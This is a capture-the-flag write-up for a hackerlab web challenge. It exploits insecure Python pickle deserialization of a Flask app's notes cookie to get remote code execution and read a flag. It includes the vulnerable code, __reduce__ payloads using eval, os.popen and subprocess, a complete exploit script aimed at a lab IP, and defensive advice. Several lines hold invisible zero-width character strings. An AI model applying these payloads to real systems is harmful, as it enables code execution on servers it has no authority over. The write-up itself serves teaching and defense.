← Back to Writeups
CUSTOMEasyWeb

Соленый огурец (Salty Pickle)

XESXOR9/10/20262 min read
#web#custom#easy#cookie-based-payload-injection#insecure-pickle-deserializatio#rce-via-__reduce__-method

Соленый огурец (Salty Pickle)

Platform: hackerlab | Category: Web | Type: Challenge | Difficulty: Easy | OS: NA | Author: XESXOR | Date: 2025-12-24 | Status: Solved Techniques: Cookie-based payload injection, Insecure Pickle Deserialization, RCE via reduce method

Summary

Task: Flask notes app stores data in pickle-serialized cookies. Solution: Exploit insecure pickle deserialization via reduce method to achieve RCE and read the flag.

Соленый огурец (Salty Pickle) — hackerlab.pro

Description

Примитивный сервис хранения заметок с урезанным функционалом, но через что он идентифицирует пользователей?

Flask application source code provided (app.py and templates/index.html).

Analysis

Vulnerable Code

python
from flask import Flask, request, make_response, redirect, render_template
import pickle
import base64

@app.route('/')
def index():
    notes = request.cookies.get('notes')
    if notes:
        all_notes = pickle.loads(base64.b64decode(notes))  # VULNERABLE!
        return render_template('index.html', notes=all_notes)

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Problem: The application stores user notes in a notes cookie as base64-encoded pickle data. When loading the page, the cookie is deserialized without any validation.

Hint in the Name

The task name "Соленый огурец" (Salty Pickle) is a wordplay:

  • "Pickle" in English means "pickled cucumber"
  • Python pickle — a serialization module with known vulnerabilities

Solution

Step 1: Understanding the Vulnerability

Python pickle allows arbitrary code execution during deserialization via the __reduce__ method. This method returns a tuple (callable, args) that gets called during unpickling. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 2: Creating the Payload

Important nuance: the application expects all_notes to be an iterable object (list), since the template iterates over notes. Therefore, the payload must return a list.

python
class RCE:
    def __reduce__(self):
        return (eval, ("[open('./flag.txt').read()]",))

Here:

  • eval — the function that will be called
  • "[open('./flag.txt').read()]" — the argument that reads the flag and wraps it in a list

Step 3: Exploitation

python
import pickle
import base64
import requests
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

TARGET = "http://62.173.140.174:16040"

class RCE:
    def __reduce__(self):
        return (eval, ("[open('./flag.txt').read()]",))

# Create malicious pickle
payload = pickle.dumps(RCE())
encoded = base64.b64encode(payload).decode()

# Send as cookie
resp = requests.get(TARGET, cookies={"notes": encoded})
print(resp.text)

Result

The flag is displayed as a "note" on the page:

CODEBY{REDACTED}

Alternative Payloads

Via os.popen (if shell is needed):

python
class RCE:
    def __reduce__(self):
        import os
        return (eval, ("__import__('os').popen('cat flag.txt').read().split()",))

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Via subprocess:

python
class RCE:
    def __reduce__(self):
        return (eval, ("__import__('subprocess').check_output(['cat','flag.txt']).decode().split()",))

Defense

  1. Never use pickle for untrusted data
  2. Use safe formats: JSON, MessagePack
  3. If pickle is necessary — use HMAC for signing
  4. Apply class allowlist during deserialization

References